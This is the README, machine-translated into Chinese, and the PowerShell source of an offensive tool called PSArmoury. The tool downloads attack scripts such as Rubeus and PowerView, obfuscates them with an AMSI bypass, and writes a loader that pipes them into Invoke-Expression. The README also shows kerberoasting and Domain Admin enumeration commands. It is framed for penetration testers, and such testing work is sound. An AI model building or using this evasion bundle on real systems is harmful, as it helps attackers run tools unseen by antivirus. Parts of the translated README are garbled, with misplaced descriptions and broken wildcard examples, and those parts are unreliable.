cfalta/PowerShellArmoury
PowerShellArmoury适用于渗透测试人员、“在此处插入颜色”团队以及在参与期间使用各种 PowerShell 工具的其他所有人。它允许您将所有您喜欢的 PowerShell 脚本下载并存储在一个单独的混淆文件中。
您不必为手动更新 Rubeus、PowerView 等而烦恼。只需创建一次配置文件或使用工具随附的默认配置文件。从现在开始,您只需运行“New-PSarmoury”,然后再进行下一次交战。此外,PSarmoury 会混淆您的代码并附带一个包含的 AMSI 旁路。模块化设计应该可以让您轻松更改规避或混淆代码,以防万一检测到。
一般结构
当前版本的 PSarmoury 倾向于模块化设计:
New-PSArmoury.ps1
PSArmoury.json
utilities
ConvertTo-Powershell.ps1
Invoke-Shuffle.ps1
modules
evasion.ps1
obfuscation.ps1
代码被拆分为一个名为 的主生成器脚本New-PSArmoury.ps1,这是您执行的脚本。规避、混淆和反混淆的代码存储在modules目录中单独的 .ps1 文件中。这些单独的文件由主脚本调用,应该使您更容易更改特定功能(如 AMSI 绕过)。除了 modules 目录,还有utilities目录。在这里,您将找到在特定场景中有用的独立脚本。
模块目录
模块目录的默认路径是.\modules点指向 shell 的当前工作目录的位置。-ModulesDirectory您可以使用 的参数更改模块目录的路径New-PSArmoury。然而,脚本文件本身的名称在主脚本中是硬编码的,并且总是期望为:
- evasion.ps1
-
evasion.ps1
此脚本应包含旨在绕过您打算绕过的任何内容的代码。默认情况下,它包含一个众所周知的 AMSI 绕过(感谢 amsi.fail)。请注意:
这里的代码在其他一切运行之前运行(例如去混淆)
绝对没有任何形式的验证!您放在这里的所有内容都将按原样通过管道传输到 IEX。
obfuscation.ps1
此脚本应包含用于混淆和反混淆的代码。默认的 obfuscation.ps1 使用 RC2 加密。即用型示例:
TEMPLATE_obfuscation_RC2.ps1 —> 这是默认的
- TEMPLATE_obfuscation_byte_convert.ps1
- TEMPLATE_obfuscation_empty.ps1
请注意,它TEMPLATE_obfuscation_empty.ps1实际上什么都不做,只是作为模板供您构建自己的函数。
如果您想使用其中任何一个,只需将其重命名为“obfuscation.ps1”并删除默认文件。
如果要创建自定义版本,请记住以下关于混淆的内容:
- 函数名称必须始终为“Get-PSarmouryObfuscation”,并带有一个名为“Code”的字符串参数,因为这是主脚本将调用您想要放入Armoury中的任何项目的内容。
- 该函数应该再次将代码的混淆版本作为单个字符串值返回。脚本的主要代码运行一个附加的 base64 编码/解码循环,以确保我们也可以处理你扔给它的其他东西,但如果你可以把它变成一个字符串会更容易;-)
- 相应的反混淆函数必须理解您在此处返回的任何内容。主脚本只是传递结果——>这里没有魔法发生
并确保在反混淆方面记住这些事情:
- 函数名必须始终是 Get-PSarmouryDeObfuscation,不带参数,因为它迭代一个固定的全局变量。
该函数必须再次将代码的去混淆版本作为单个字符串值返回,准备执行。我们只是将您返回到 IEX 的所有内容都通过管道传输,其余的由您决定。
实用程序目录
实用程序目录包含有用的独立脚本。
转换为 Powershell.ps1
- 将控制台 c# 应用程序转换为 powershell 脚本。有关详细信息,请参阅相应的博客文章。
调用-Shuffle.ps1
- 一个简单的混淆脚本,它将单行代码转换为多个变量,其中包含原始字符串的一部分,然后在执行期间合并并调用这些变量。
配置参考
配置文件需要是一个有效的 json,由一个包含一个或多个对象的单个数组组成,其中每个对象都被解释为单个脚本源。每个对象都有以下属性
姓名(必填)
您选择的名称,用于标识此对象中包含的脚本。这只是作为自己的参考。
网址(必填)
从中获取脚本内容的位置。这可以是 Web 资源 (https://) 或本地路径 (C:) 或网络资源 (...) 的 URL。URL 分别被扔到 Net.Webclient 或 Powershells Get-Item 中。因此,基本上这两种格式中的一种可以默认处理的每种格式都应该有效。
类型(必填)
这为Armoury创建者提供了有关脚本位置的提示。共有三种有效类型:
- 一个简单的混淆脚本,它将单行代码转换为多个变量,其中包含原始字符串的一部分,然后在执行期间合并并调用这些变量。
GitHub
- 将提示输入凭据,以便我们可以针对 github API 进行身份验证。还将尝试区分直接指向文件的“原始” URL 或指向存储库的 URL。如果 URL 指向存储库,脚本将自动搜索该存储库中的所有 Powershell 文件并包含它们。喜欢“ https://github.com/cfalta/PoshRandom ”
- 网页下载简单
- 表示无需身份验证或使用 HTTP GET 即可下载的文件。像“ http://mywebserver.com/file.ps1 ”
- 本地文件
- 磁盘上的文件,例如“C:\temp\test.ps1”。如果路径指向一个目录,则将包含所有扩展名为“.ps1”的文件(递归)。
文件包含过滤器(可选)
只会在“GitHub”类型的对象中解释。将与针对整个文件名的 Powershell“like”比较运算符匹配,因此请记住,您需要自己包含通配符。如果要匹配文件名的一部分,请不要忘记包含星号 ()。“.ps1”表示所有以“.ps1”结尾的文件,但“.ps1”仅表示“.ps1”。
您不必包含过滤器,但如果您这样做,则必须使用它。空的 InclusionFilter 表示没有文件。
文件排除过滤器(可选)
像 InclusionFilter 但显然相反。排除优先。
参数
有关更多详细信息,请参阅内联 Powershell 帮助 (man -full New-PSarmoury)。
-Path
新Armoury文件的路径。默认是 “.\MyArmoury.ps1”
-FromFile
直接从本地文件夹或文件加载您的 Powershell 脚本,您不必提供配置文件。
-Config
JSON-config 文件的路径。查看此脚本附带的示例以获取想法。
-ModulesDirectory
模块目录的路径。默认值为“.\modules”。如果使用 ModulesDirectory,则无法使用 EvasionPath 和 ObfuscationPath 参数。
-EvasionPath
逃避脚本的路径。如果使用 EvasionPath 和 ObfuscationPath,则不能使用 ModulesDirectory-Parameter。
-ObfuscationPath
混淆脚本的路径。如果使用 EvasionPath 和 ObfuscationPath,则不能使用 ModulesDirectory-Parameter。
-ValidateOnly
将它与“-Config”一起使用,让脚本验证 JSON 配置文件的基本语法而不执行它。
-GithubCredentials
将 Github 用户名和访问令牌作为凭证对象传递,这样脚本就不会提示输入它。如果您反复创建Armoury进行测试,这很有用。
像这样使用:
$c = get-credential
New-PSArmoury -GithubCredentials $c
Github 访问令牌
您必须提供有效的 github 用户名以及个人访问令牌,以便脚本可以正确使用 github API。不要使用用户名/密码,因为如果您启用了 MFA(并且您应该启用 MFA),这无论如何都不起作用。也不推荐使用基本用户名/密码访问 API。
按照本指南创建个人访问令牌。
请注意:我们需要的访问令牌的唯一权限public_repo在该repo部分中。
这是因为您只需要令牌,因此如果您为要包含的 .ps1 文件解析更大的存储库(如 PowerSploit),Github 不会阻止我们。
示例用法
示例 1 - 全部默认
如果您想使用默认设置创建一个Armoury(注意:除了 base64 编码之外,这根本不会混淆),那么只需运行以下命令:
. .\New-PSArmoury.ps1
New-PSArmoury
这将使用在当前工作目录中创建一个名为“MyArmoury.ps1”的 .ps1 文件
- 默认配置“.\PSarmoury.json”
- 在“.\modules\evasion.ps1”中找到的默认 AMSI 绕过
- 默认混淆/反混淆(base64)分别位于“.\modules\obfuscation.ps1”和“.\modules\deobfuscation.ps1”。
您可以使用以下命令将Armoury加载到当前会话中
cat -raw .\MyArmoury.ps1 | iex
加载您的Armoury会调用以下步骤:
- 调用规避码
- 将控制权移交给反混淆功能,而反混淆功能又应该
- 浏览每一个被混淆的项目,然后
- 去混淆
- 管道进入 IEX
之后,您放入Armoury的所有 powershell 代码都将可用。像往常一样调用 cmdlet:
Invoke-Rubeus -Command "kerberoast /stats"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
如果碰巧你不记得你在Armoury里放了什么,只需加载它并调用库存:-)
Get-PSArmoury
示例 2 - 使用 PSarmoury 和不同配置文件附带的字节转换/json 格式混淆技术
-EvasionPath使用和参数启动 New-PSarmoury,-ObfuscationPath如下所示:
New-PSArmoury -Config C:\myarmouryconfig.json -ObfuscationPath .\modules\TEMPLATE_obfuscation_byte_convert.ps1 -EvasionPath .\modules\evasion.ps1
示例 3 - 从包含 powershell 脚本的本地文件夹创建Armoury
注意:在这种情况下,由于我们提交了文件夹路径,因此将添加文件夹中的所有 .ps1 文件。如果我们提交单个文件的路径,那么我们只会处理那个文件:
New-PSArmoury -FromFile C:\myscriptfolder
cfalta/PowerShellArmoury/New-PSArmoury.ps1
function New-PSArmoury
{
<#
.SYNOPSIS
New-PSArmoury creates a single, obfuscated file (your armoury) containing all your favourite PowerShell scripts from multiple repositories based on a config file.
Basically it's like "apt-get update" for your offensive PowerShell arsenal.
Author: Christoph Falta (@cfalta)
.DESCRIPTION
The PowerShell Armoury is ment for Pentesters or Auditors who use a variety of PowerShell tools during their engagements. It allows you to download and store all of your favourite PowerShell scripts in a single, obfuscated file.
You don't have to hassle with updating your tools manually. Just create a configuration file once or use the default one included with the tool. From now on, you just have to run "New-PSArmoury" before you head to the next pentest.
PSArmoury also tries to circumvent AV detection, e.g. an AMSI bypass is included. However it is not meant to be fully undetectable. In fact, due to a growing user base, it is very likely that the included AMSI bypass or the resulting file will get detected by AV.
But the idea for the tool is to be modular enough for you to handle these things with small changes to the code or output.
Note that you have to provide a valid github account as well as a personal access token, so the script can properly use the github API.
.PARAMETER Path
The path to your new armoury file. The default is ".\MyArmoury.ps1"
.PARAMETER FromFile
Load your Powershell scripts directly from a local folder or file and you don't have to provide a config file.
.PARAMETER Config
The path to your JSON-config file. Have a look at the sample that comes with this script for ideas.
.PARAMETER ModulesDirectory
The path to the modules directory. The default is ".\modules".
If ModulesDirectory is used, then the EvasionPath and ObfuscationPath Parameters cannot be used.
.PARAMETER EvasionPath
The path to the evasion script. If EvasionPath and ObfuscationPath are used, then the ModulesDirectory-Parameter cannot be used.
.PARAMETER ObfuscationPath
The path to the obfuscation script. If EvasionPath and ObfuscationPath are used, then the ModulesDirectory-Parameter cannot be used.
.PARAMETER ValidateOnly
Use this together with "-Config" to let the script validate the basic syntax of your JSON config file without executing it.
.PARAMETER GithubCredentials
Pass Github username and access token as a credential object so the script won't prompt for it. Useful if you create an armoury repeatedly for testing.
Use like this:
$c = get-credential
New-PSArmoury -GithubCredentials $c
.EXAMPLE
New-PSArmoury
Description
-----------
Execute with all defaults, which means it will:
- create a .ps1 file called "MyArmoury.ps1" in the current working directory using
- the default config ".\PSArmoury.json"
- the default AMSI bypass found at ".\modules\evasion.ps1"
- the default obfuscation script found at ".\modules\obfuscation.ps1".
.EXAMPLE
New-PSArmoury -FromFile .\myfolderfullofps1scripts\
Description
-----------
Execute with defaults (see previous example), but do not use a config to retrieve source scripts. Instead use everything found in the path supplied with "-FromFile".
.LINK
https://github.com/cfalta/PowerShellArmoury
#>
[CmdletBinding(DefaultParameterSetName = "DefaultModules")]
Param (
[Parameter(ParameterSetName="DefaultModules")]
[Parameter(ParameterSetName="Validate")]
[Parameter(ParameterSetName="ModulesByFiles")]
[Parameter(ParameterSetName="ModulesByDirectory")]
[ValidateNotNullOrEmpty()]
[String]
$Path = ".\MyArmoury.ps1",
[Parameter(ParameterSetName="DefaultModules")]
[Parameter(ParameterSetName="Validate")]
[Parameter(ParameterSetName="ModulesByFiles")]
[Parameter(ParameterSetName="ModulesByDirectory")]
[ValidateScript({Test-Path $_})]
[String]
$FromFile,
[Parameter(ParameterSetName="DefaultModules")]
[Parameter(ParameterSetName="Validate")]
[Parameter(ParameterSetName="ModulesByFiles")]
[Parameter(ParameterSetName="ModulesByDirectory")]
[ValidateScript({Test-Path $_})]
[String]
$Config,
[Parameter(ParameterSetName="ModulesByDirectory")]
[ValidateScript({Test-Path $_})]
[String]
$ModulesDirectory,
[Parameter(ParameterSetName="ModulesByFiles")]
[ValidateScript({Test-Path $_})]
[String]
$EvasionPath,
[Parameter(ParameterSetName="ModulesByFiles")]
[ValidateScript({Test-Path $_})]
[String]
$ObfuscationPath,
[Parameter(ParameterSetName="Validate")]
[Switch]
$ValidateOnly,
[Parameter(ParameterSetName="DefaultModules")]
[Parameter(ParameterSetName="Validate")]
[Parameter(ParameterSetName="ModulesByFiles")]
[Parameter(ParameterSetName="ModulesByDirectory")]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$GithubCredentials
)
if(-not $PSBoundParameters.ContainsKey("Config"))
{
$Config = Join-Path -Path (Get-Location) -ChildPath "PSArmoury.json"
}
if($PSBoundParameters.ContainsKey("GithubCredentials"))
{
$global:GitHubCredentials = $GithubCredentials
}
function Write-Banner
{
Write-Output " %%%%%%%%%%% "
Write-Output " %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% "
Write-Output " %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% "
Write-Output " %%%%%%%%%%%%%% %%%%%%%%%%%%%% "
Write-Output "%%%%%%%%%%%% %%%%%%%%%%%%%%%%% %%%%%%%%%%%"
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%"
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%% %%%% @@@@@@@@@@@@@@@@@ %%%%% "
Write-Output " %%%%% %%%%%%% %%%%%%%%% %% @@@@@@ @@@@ %%%%% "
Write-Output " %%%%% %%%%%%% %%%%%%%%%% %% @@@@@ %%%%% "
Write-Output " %%%%% %%%%%%% %% @@@@@@@@@@@@@@@@ %%%%% "
Write-Output " %%%%% %%%%%%% %%%%% @@@@@@@@@@@@@ %%%%% "
Write-Output " %%%%% %%%%%%%% %%%%%%%%%%%%%%%% @@@@ @@@@@ %%%%% "
Write-Output " %%%%% %%%%%%%% %%%%%%%%%%%%%%%% @@@@@@@ @@@@@@@ %%%%% "
Write-Output " %%%%% %%%%%%%% %%%%%%%%%%%%%%%% @@@@@@@@@@@@@@ %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%%%% %%%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%%%%% %%%%%% "
Write-Output " %%%%%%% %%%%%%%%%%%%%%%%%%%%% %%%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%%%% %%%%%%% "
Write-Output " %%%%%% %%%%%%%%%%%%%%%%% %%%%%%% "
Write-Output " %%%%%%% %%%%%%%%%%%%%% %%%%%%% "
Write-Output " %%%%%%% %%%%%%%%%%%% %%%%%%% "
Write-Output " %%%%%%% %%%%%%%%% %%%%%%%% "
Write-Output " %%%%%%% %%%%%% %%%%%%% "
Write-Output " %%%%%%%% %%% %%%%%%% "
Write-Output " %%%%%%%% %%%%%%%% "
Write-Output " %%%%%%%%% %%%%%%%%% "
Write-Output " %%%%%%%%%%%%%% "
Write-Output " %%%%%%% `n`n"
}
function Test-PSAConfig
{
$IsValid = $True
if($global:PSArmouryConfig)
{
$Index = 0
foreach($Item in $global:PSArmouryConfig)
{
if(-Not($Item.Name -and $Item.Type -and $Item.URL))
{
Write-Warning ("PSArmoury: Error validating item at index " + $Index + ". Name, Type and URL are mandatory.")
$IsValid = $False
}
if(-Not(($Item.Type -eq "GitHub") -or ($Item.Type -eq "LocalFile") -or ($Item.Type -eq "WebDownloadSimple")))
{
Write-Warning ("PSArmoury: Error validating item at index " + $Index + ". Type needs to be either GitHub, LocalFile or WebDownloadSimple")
$IsValid = $False
}
$Index++
}
}
$IsValid
}
function Invoke-PSAGithubDownload
{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[ValidateNotNullorEmpty()]
[String]
$URI)
$CredentialsBase64 = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(($global:GitHubCredentials.Username + ":" + $global:GitHubCredentials.GetNetworkCredential().Password)))
$BasicAuthHeader = ("Basic " + $CredentialsBase64)
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","PSArmoury")
$wc.Headers.Add("Authorization",$BasicAuthHeader)
$Response = $wc.DownloadString($URI)
$Response
}
function Get-PSAGitHubItem([string]$Name)
{
$PSA = $global:PSArmouryConfig | ? {$_.Name -eq $Name}
$BaseURL = $PSA.URL
$GitHubType = $False
#Assume this is a valid file URL if it contains raw
if($BaseURL.Contains("raw"))
{
$GitHubType = "File"
$ItemName = $BaseURL.Substring($BaseURL.LastIndexOf("/")+1)
Write-Verbose ("PSArmoury: Trying to download " + $ItemName)
$Response = Invoke-PSAGithubDownload -URI $BaseURL
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name Repository -Value $PSA.Name
$PSO | Add-Member -MemberType NoteProperty -Name Name -Value $ItemName
$PSO | Add-Member -MemberType NoteProperty -Name Code -Value $Response
$global:PSAInventory += $PSO
}
#Assume this is a repo if it starts with the repo URL prefix
if($BaseURL.StartsWith("https://api.github.com/repos/"))
{
$GitHubType = "Repo"
$Response = Invoke-PSAGithubDownload -URI $BaseURL | ConvertFrom-Json
if($PSA.Branch)
{
$ContentURL = $Response.contents_url.Substring(0,$Response.contents_url.LastIndexOf("/")) + "?ref=" + $PSA.Branch
}
else {
$ContentURL = $Response.contents_url.Substring(0,$Response.contents_url.LastIndexOf("/"))
}
$ContentIndex = Invoke-PSAGithubDownload -URI $ContentURL | ConvertFrom-Json
$NewItem = $True
#Discover all files in the repository and download them
while($NewItem)
{
$NewItem = $False
$ContentIndex2 = @()
foreach($ContentItem in $ContentIndex)
{
if($ContentItem.type -eq "dir")
{
$ContentIndex2 += (Invoke-PSAGithubDownload -URI $ContentItem.URL | ConvertFrom-Json)
$NewItem = $True
}
if($ContentItem.type -eq "file")
{
$Include = $True
if(($PSA.FileExclusionFilter))
{
foreach($f in $PSA.FileExclusionFilter)
{
if($ContentItem.Name -like $f)
{
$Include = $False
}
}
}
if(($PSA.FileInclusionFilter))
{
foreach($f in $PSA.FileInclusionFilter)
{
if($ContentItem.Name -notlike $f)
{
$Include = $False
}
}
}
if($Include)
{
Write-Verbose ("PSArmoury: Trying to download " + $PSA.Name + "/" + $ContentItem.Name)
try
{
$Response = Invoke-PSAGithubDownload -URI $ContentItem.download_url
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name Repository -Value $PSA.Name
$PSO | Add-Member -MemberType NoteProperty -Name Name -Value $ContentItem.Name
$PSO | Add-Member -MemberType NoteProperty -Name Code -Value $Response
$global:PSAInventory += $PSO
}
catch
{
Write-Warning ("PSArmoury: Error while downloading " + $PSA.Name + "/" + $ContentItem.Name)
Write-Warning $Error[0]
}
}
}
}
$ContentIndex = $ContentIndex2
}
}
if(-not $GitHubType)
{
Write-Warning "Invalid GitHub URL. Only URLs to GitHub repos (starting with https://api.github.com/repos/...) or raw files (containing /raw/ in the URL) are allowed."
}
}
function Get-PSALocalFile([string]$Name)
{
$PSA = $global:PSArmouryConfig | ? {$_.Name -eq $Name}
if(Test-Path $PSA.URL)
{
if((Get-Item -LiteralPath $PSA.URL).PSISContainer)
{
$Files = Get-Childitem -LiteralPath $PSA.URL -Filter *.ps1
}
else
{
$Files = Get-Item -LiteralPath $PSA.URL
}
foreach($f in $Files)
{
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name Repository -Value $PSA.Name
$PSO | Add-Member -MemberType NoteProperty -Name Name -Value $f.name
$PSO | Add-Member -MemberType NoteProperty -Name Code -Value (get-content -raw $f.fullname)
$global:PSAInventory += $PSO
}
}
else {
Write-Warning ("PSArmoury: Error while reading local file " + $PSA.URL)
}
}
function Get-PSASimpleWebDownload([string]$Name)
{
$PSA = $global:PSArmouryConfig | ? {$_.Name -eq $Name}
$BaseURL = $PSA.URL
$ItemName = $BaseURL.Substring($BaseURL.LastIndexOf("/")+1)
try
{
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","PSArmoury")
$Response = $wc.DownloadString($BaseURL)
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name Repository -Value $PSA.Name
$PSO | Add-Member -MemberType NoteProperty -Name Name -Value $ItemName
$PSO | Add-Member -MemberType NoteProperty -Name Code -Value $Response
$global:PSAInventory += $PSO
}
catch
{
Write-Warning ("PSArmoury: Error while downloading " + $PSA.Name + "/" + $ItemName)
}
}
function Add-Inventory
{
$Content = 'function Get-PSArmoury{$i=@('
foreach($Item in $global:PSAInventory)
{
$Content = $Content + '"' + $Item.Name + '",'
}
$Content = $Content.Trim(",")
$Content = $Content + ');$i}'
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name Repository -Value "Inventory"
$PSO | Add-Member -MemberType NoteProperty -Name Name -Value "Inventory"
$PSO | Add-Member -MemberType NoteProperty -Name Code -Value $Content
$global:PSAInventory += $PSO
}
function Add-Evasion
{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $False)]
[ValidateNotNullOrEmpty()]
[String]
$Path)
if($Path)
{
$Content = Get-Content -Raw $Path
}
else {
$Content = 'echo "This Armoury does not include evasion techniques. Beware of AV alerts coming up."'
}
$ContentB64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Content))
$null = $global:PSAProcessedInventory.Add($ContentB64)
}
function Write-LoaderFile
{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullorEmpty()]
[String]
$Path)
$LoaderStub=@"
foreach(`$ef in `$global:FunkyFuncs[0..1])
{
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(`$ef)) | Invoke-Expression
}
"@
#Delete the outputfile if it exists
if((Test-Path -LiteralPath $Path))
{
Remove-Item -LiteralPath $Path -Force
}
#Creates a string array of encrypted scripts, which will be included in the decryption stub defined above
$SummaryArrayDefinition = '$global:FunkyFuncs = @('
$ArrayItemPrefix = '$Func'
$counter = 0
foreach($Item in $global:PSAProcessedInventory)
{
$SingleArrayDefinition = (($ArrayItemPrefix + $counter) + ' = ("' + $Item + '")')
$SummaryArrayDefinition += (($ArrayItemPrefix + $counter) + ",")
Add-Content $Path $SingleArrayDefinition
$counter++
}
$SummaryArrayDefinition = $SummaryArrayDefinition.TrimEnd(",")
$SummaryArrayDefinition += ")"
#Write the string array into the loader file
Add-Content $Path $SummaryArrayDefinition
#Write minimal loader stub
Add-Content $Path $LoaderStub
}
### MAIN ###
$ScriptRequirements = $True
Write-Banner
if($FromFile)
{
$PSO = New-Object -TypeName PSObject
$PSO | Add-Member -MemberType NoteProperty -Name "Name" -Value "LocalRepo"
$PSO | Add-Member -MemberType NoteProperty -Name "Type" -Value "LocalFile"
$PSO | Add-Member -MemberType NoteProperty -Name "URL" -Value $FromFile
$global:PSArmouryConfig = @()
$global:PSArmouryConfig += $PSO
}
else
{
if($Config)
{
try
{
$global:PSArmouryConfig = Get-Content -Raw $Config | ConvertFrom-Json
$ScriptRequirements = Test-PSAConfig
if($ValidateOnly -and $ScriptRequirements)
{
Write-Output "PSArmoury: No issues found in $($Config)."
$ScriptRequirements = $False
}
}
catch
{
Write-Warning "PSArmoury: Error while loading configuration file."
Write-Warning $Error[0]
$ScriptRequirements = $False
}
}
else
{
Write-Warning "PSArmoury: No configuration file found. Please provide a valid configuration and try again."
$ScriptRequirements = $False
}
}
if($ScriptRequirements)
{
if($PSArmouryConfig -and ($PSArmouryConfig.count -gt 0))
{
$DoObfuscation = $False
$DoEvasion = $False
if($ObfuscationPath -or $EvasionPath)
{
if($ObfuscationPath)
{
$ModulesObfuscation = $ObfuscationPath
Write-Output ("PSArmoury: Obfuscation script set to " + $ModulesObfuscation)
$DoObfuscation = $True
}
if($EvasionPath)
{
$ModulesEvasion = $EvasionPath
Write-Output ("PSArmoury: Evasion script set to " + $ModulesEvasion)
$DoEvasion = $True
}
}
else
{
if(-not $PSBoundParameters.ContainsKey("ModulesDirectory"))
{
Write-Output ("PSArmoury: No module path submitted by user. Trying to locate default modules directory.")
$DefaultModulesPath = Join-Path -Path (Get-Location) -ChildPath "modules"
if(Test-Path $DefaultModulesPath)
{
$ModulesDirectory = $DefaultModulesPath
}
}
if($ModulesDirectory)
{
$ModulesObfuscation = Join-Path -Path $ModulesDirectory -ChildPath "obfuscation.ps1"
$ModulesEvasion = Join-Path -Path $ModulesDirectory -ChildPath "evasion.ps1"
Write-Output ("PSArmoury: --> Modules directory is " + $ModulesDirectory)
if((Test-Path -Path $ModulesObfuscation))
{
Write-Output ("PSArmoury: --> Obfuscation script is " + $ModulesObfuscation)
$DoObfuscation = $True
}
if((Test-Path -Path $ModulesEvasion))
{
Write-Output ("PSArmoury: --> Evasion script is " + $ModulesEvasion)
$DoEvasion = $True
}
}
}
if(-not $DoObfuscation -or -not $DoEvasion)
{
if(-not $DoObfuscation)
{
Write-Warning "PSArmoury: --> No obfuscation script found!"
}
if(-not $DoEvasion)
{
Write-Warning "PSArmoury: --> No evasion script found!"
}
Write-Warning "Do you really want to continue? Press [Enter] to move on or [Ctrl+C] to abort."
$null = Read-Host
}
Write-Output ("PSArmoury: Your armoury contains " + $PSArmouryConfig.count + " repositories. Starting to download.")
$global:PSAInventory = @()
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
foreach($PSA in $PSArmouryConfig)
{
switch($PSA.Type)
{
GitHub{
if(-Not $global:GitHubCredentials)
{
$global:GitHubCredentials = Get-Credential -Message "Please enter Github username and access token"
}
Write-Output ("PSArmoury: Downloading repository " + $PSA.Name)
Get-PSAGitHubItem($PSA.Name)
}
WebDownloadSimple{
Write-Output ("PSArmoury: Downloading repository " + $PSA.Name)
Get-PSASimpleWebDownload($PSA.Name)
}
LocalFile{
Write-Output ("PSArmoury: Downloading repository " + $PSA.Name)
Get-PSALocalFile($PSA.Name)
}
default{
}
}
}
if($global:PSAInventory)
{
Write-Output "PSArmoury: Download complete, starting processing"
$global:PSAProcessedInventory = New-Object -TypeName "System.Collections.ArrayList"
$Identifier = 0
Add-Inventory
if($DoEvasion)
{
Add-Evasion -Path $ModulesEvasion
}
else {
Add-Evasion
}
if($DoObfuscation)
{
#loading module code
cat -raw $ModulesObfuscation | iex
#load deobfuscation script into output variable
$DeObfuscationScript= (Get-Command Get-PSArmouryDeObfuscation).ScriptBlock
$null = $global:PSAProcessedInventory.Add([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($DeObfuscationScript)))
#Obfuscate
foreach($Item in $global:PSAInventory)
{
$ObfuscatedCode = Get-PSArmouryObfuscation -Code $Item.Code
$null = $global:PSAProcessedInventory.Add([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ObfuscatedCode)))
}
}
else {
foreach($Item in $global:PSAInventory)
{
$null = $global:PSAProcessedInventory.Add([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Item.Code)))
}
}
Write-Output "PSArmoury: Script processing complete, creating armoury file. Happy hacking :-)"
Write-LoaderFile -Path $Path
}
else
{
Write-Output "PSArmoury: You're venturing on a forbidden path - turn around before darkness consumes you!!! ...no seriously, this is an else-branch you should never reach cause this means that mandatory variables are not set correctly. Most likely a programming mistake - sorry ;-)"
}
}
}
}